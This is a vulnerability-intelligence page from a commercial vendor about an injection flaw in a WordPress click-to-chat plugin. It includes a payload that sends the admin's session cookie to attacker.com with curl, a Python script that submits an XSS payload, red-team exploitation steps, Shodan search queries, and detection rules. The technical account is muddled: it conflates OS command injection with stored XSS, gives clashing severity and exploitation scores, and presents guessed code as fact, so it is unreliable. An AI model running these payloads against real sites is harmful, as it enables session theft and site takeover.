☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Ninjateam logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-49281

CVE-2024-49281 OS Command Injection in Ninjateam
📅 PUBLISHED: 2024-10-17 20:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
10.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-49281 is a critical security vulnerability identified in the WordPress plugin "Click to Chat – WP Support All-in-One Floating Widget" developed by Ninja Team. The vulnerability is classified as an OS Command Injection (CWE-78) that leads to Stored Cross-Site Scripting (XSS). An attacker can inject malicious OS commands or JavaScript payloads through unsanitized input fields, which are then stored and executed in the context of an administrator's browser session. This allows for persistent compromise of the WordPress admin panel, potentially leading to full site takeover, data exfiltration, or lateral movement within the hosting environment.

The vulnerability affects all versions of the plugin up to and including version 2.3.3. As of this report, no official patch has been released by the vendor, and the patch status remains UNKNOWN. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the severity of the impact warrants immediate attention.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is also available for direct download from the vendor's site. Users who have installed this plugin from any source are affected. There is no known compromise of the plugin's supply chain (e.g., malicious commits or backdoored updates), but the lack of a patch means that all installations remain vulnerable until a fix is applied.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication needed to trigger the injection.
  • User Interaction (UI): Required – The victim (admin) must visit a page containing the stored payload.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure.
  • Integrity (I): Low – Limited ability to modify data.
  • Availability (A): Low – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for Stored XSS combined with OS Command Injection in a WordPress admin context can lead to severe consequences, including full site compromise.

Deep Dive & Mechanics

The vulnerability resides in the plugin's input handling for chat widget settings. The plugin fails to properly neutralize special elements used in OS commands when processing user-supplied data. Specifically, the support-chat parameter or similar input fields are not sanitized before being used in system-level operations (e.g., executing shell commands to fetch external resources or process data).

An attacker can inject a payload such as:

'; echo "PAYLOAD"; '

or

'; system("curl http://attacker.com/steal?cookie=" . $_COOKIE['PHPSESSID']); '

This payload is stored in the WordPress database (e.g., in the wp_options table or plugin-specific settings). When an administrator accesses the plugin's settings page or any page that renders the stored data, the payload is executed in the context of the admin's browser. Because the injection occurs at the OS command level, it can also lead to server-side code execution if the command is executed on the server.

The stored XSS aspect allows the attacker to bypass typical XSS filters that only check for immediate output, as the payload is persisted and executed later.

Vulnerable vs. Patched Code

Since no official patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

Vulnerable Code (PHP):

$command = "some_tool --option " . $_POST['support-chat'];
$output = shell_exec($command);

Patched Code (Hypothetical):

$input = escapeshellcmd($_POST['support-chat']);
$command = "some_tool --option " . $input;
$output = shell_exec($command);

The fix would involve using escapeshellcmd() or escapeshellarg() to sanitize input before passing it to shell_exec(), exec(), system(), or similar functions. Additionally, output encoding should be applied to prevent XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress instance with the vulnerable plugin installed (version <= 2.3.3).
  • Network access to the WordPress admin panel (or ability to trick an admin into visiting a crafted page).

Exploitation Steps:

  1. Identify the vulnerable endpoint: The plugin likely has an AJAX handler or settings page that accepts user input for the chat widget. Use browser developer tools or intercepting proxy (e.g., Burp Suite) to find the parameter (e.g., support-chat).

  2. Craft the payload: Inject an OS command that also contains JavaScript for XSS. For example:

    '; echo "<script>alert('XSS')</script>"; '
    
  3. Submit the payload: Send a POST request to the vulnerable endpoint with the malicious input. The payload will be stored in the database.

  4. Trigger execution: As an admin, navigate to the plugin settings page. The stored payload will be rendered, executing the JavaScript in the admin's browser.

Example Exploit (Python):

import requests

target_url = "http://target.com/wp-admin/admin-ajax.php"
payload = "'; echo '<script>alert(\"XSS\")</script>'; '"

data = {
    'action': 'update_chat_settings',
    'support-chat': payload
}

session = requests.Session()
# Assume admin session cookie is obtained
session.post(target_url, data=data)
print("Payload submitted. Now trigger by visiting settings page.")

Blue Team (Defensive)

Detection:

  • Monitor for unusual POST requests to admin-ajax.php with parameters containing shell metacharacters (;, |, &, `, $()).
  • Look for outbound connections from the web server to unknown IPs (indicates command execution).
  • Check for unexpected files or processes spawned by the web server user.

Mitigation:

  • Immediately disable the plugin if no patch is available.
  • Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in plugin-specific parameters.
  • Restrict outbound traffic from the web server to only necessary destinations.

Indicators of Compromise (IOCs)

  • File Indicators:

    • Suspicious files in /wp-content/plugins/wp-support-all-in-one-floating-widget/ (e.g., backdoor scripts).
    • Modified plugin files with unexpected code.
  • Network Indicators:

    • Outbound connections to attacker-controlled IPs on ports 80/443.
    • DNS queries to malicious domains.
  • Log Indicators:

    • WordPress debug log entries showing shell_exec or exec calls with unusual arguments.
    • Web server access logs showing POST requests to admin-ajax.php with support-chat parameter containing shell metacharacters.
  • Database Indicators:

    • Entries in wp_options or plugin-specific tables containing shell commands or JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_49281_Stored_XSS_OS_Command_Injection {
    meta:
        description = "Detects stored XSS and OS command injection payloads in WordPress Click to Chat plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49281"
    strings:
        $shell_meta = /['";|&`$(){}]/
        $js_payload = /<script[^>]*>.*<\/script>/i
        $php_func = /shell_exec|exec|system|passthru|popen/i
    condition:
        any of ($shell_meta) and any of ($js_payload) and any of ($php_func)
}

Sigma Rule

title: CVE-2024-49281 - Stored XSS via OS Command Injection in WordPress Click to Chat
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-49281 by monitoring for shell metacharacters in plugin parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'support-chat'
        cs-uri-query|re: '.*['";|&`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in chat messages (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49281 - WordPress Click to Chat OS Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"support-chat"; http_client_body; pcre:"/['";|&`$(){}]/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released. Navigate to WordPress Admin > Plugins and deactivate "Click to Chat – WP Support All-in-One Floating Widget".
  2. Remove any stored malicious data from the database. Use a database management tool to search for and delete entries containing shell metacharacters in plugin-related tables.
  3. Scan for backdoors using security plugins like Wordfence or Sucuri.

Long-term Fix:

  • Monitor the vendor's website or WordPress Plugin Directory for an official patch. Apply it as soon as it becomes available.
  • If the plugin is critical, consider implementing a custom patch by adding input sanitization using escapeshellcmd() and output encoding.

Workaround:

  • Use a Web Application Firewall (WAF) to block requests containing shell metacharacters in the support-chat parameter.
  • Restrict access to the plugin settings page to trusted IPs only.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/wp-support-all-in-one-floating-widget"
http.html:"click-to-chat"
http.html:"ninjateam" "floating widget"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-49281/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.